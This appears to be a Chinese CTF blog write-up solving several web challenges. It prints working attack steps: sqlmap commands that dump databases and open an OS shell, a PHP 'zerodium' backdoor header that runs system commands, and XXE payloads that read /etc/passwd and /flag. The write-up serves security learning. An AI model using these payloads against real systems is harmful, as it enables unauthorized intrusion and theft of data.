web题解,基础知识巩固(qsnctf)

1.文章管理系统

1)打开题目,把它页面翻完了,没看懂它有啥用

2)看了看源码,也是一样的,没找到有用的东西

3)想着可能还是在隐藏文件里找,那我就直接用dirsearch扫扫看

4)扫出来三个网址,其中一个有/?id=/etc/issue,估计它可能是跟内部数据库有关,于是想到用sqlmap跑跑看,sqlmap -u +网址/?id=1 --dbs --batch 

5)扫出来果然在里面找到文件,找了之后发现在word里面有文件,打开查看

sqlmap -u +网址/?id=1 -D word --tables --batch

6)接着打开表查看里面内容

sqlmap -u 网址/?id=1 -D word -T --dump --batch

7)结果真发现flag,但是提交后是错的

8)因为题目有提示说是需要命令执行才能拿到flag

这里用到命令

sqlmap -u 网址/?id=1 --os-shell

这也是根据它所给的提示来的

那就需要从其他方面下手,看了大佬的wp才知道这里用到shell

了解一下什么是shell?
shell是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。

Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。

为什么要学习和使用shell?
Shell属于内置的脚本,程序开发的效率非常高,依赖于功能强大的命令可以迅速地完成开发任务(批处理)语法简单,代码写起来比较轻松,简单易学

注:--os-shell: 这是另一个选项,指示SQLMap在成功利用SQL注入漏洞后打开操作系统(OS)命令外壳(shell)。一旦SQLMap确定目标网站中存在SQL注入漏洞,并成功利用该漏洞获取了系统权限,它将在目标服务器上启动一个命令行外壳,使用户能够在目标系统上执行操作系统命令。

扫完后里面果然有文件输入命令ls打开具体文件

9)照着它一步步打开

10)看到flag,cat /flag打开,最终拿到flag

2.Robots

1)进入环境

2)看了看源码,啥也没有,直接进入Robots.txt,线索来了

3)直接把给的php文件打开flag就在里面,属实没想到它这莫简单

3.黑客终端

1)进入环境

2)一看源码,flag就在里面,过于抽象,被题目骗了

4.EasyMD5

1)打开环境,一开始我以为是基础的文件上传,但看着它两个上传地址就有点好奇了

2)我还是想着传两个木马上去看看,于是就出现下面这样

3)发现会提示不是 pdf格式的文件,还提示文件过大,最后提示你知道MD5碰撞吗?这里需要找两个MD5值相等的pdf文件上传才行。如下

4)上传成功后如下:它会快速闪出一下flag,需要截屏,再写下flag

5.PHP的后门

1)打开环境如下

2)查看源码没啥东西,开始以为是PHP伪协议或是文件包含之类的,但试了下发现都是报错

后面实在想不出来也是去看了其他大佬的wp才知道这里用到一个其他知识点

PHP zerodium后门漏洞,具体如下:

PHP zerodium后门漏洞-CSDN博客

3)然后直接抓包,添加代码执行

User-Agentt:zerodiumsystem("ls /");

4)然后看到有flag文件,再进行查看一下

User-Agentt:zerodiumsystem("cat /flag");

如此便能成功得到flag

5.PHP的XXE

1)打开题目,它有很多介绍,浅看一下,就当学点知识点

2)进来就是一个phpinfo界面,找了找flag,啥也没找到,后面弄了半天还是弄不出来

后面查了才知道这里需要访问simplexml_load_string.php文件,但是没有任何反应

3)那就尝试抓包试试,但是各种改,还是没思路,就去看了看大佬的wp

4)说是要尝试进行命令执行,把它加在后面,尝试运行

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>
&xxe;
</name>
 
</test>

5)发现访问成功,猜想flag文件在根目录下,然后再加下面的命令运行

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<name>
&xxe;
</name>
 
</test>

这里它涉及到simplexml_load_string.php命令

定义和用法
simplexml_load_string() 函数把 XML 字符串载入对象中。

如果失败,则返回 false。

语法
simplexml_load_file(string,class,options,ns,is_prefix)

返回值
返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据。如果失败,则返回 false。

  • 8
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值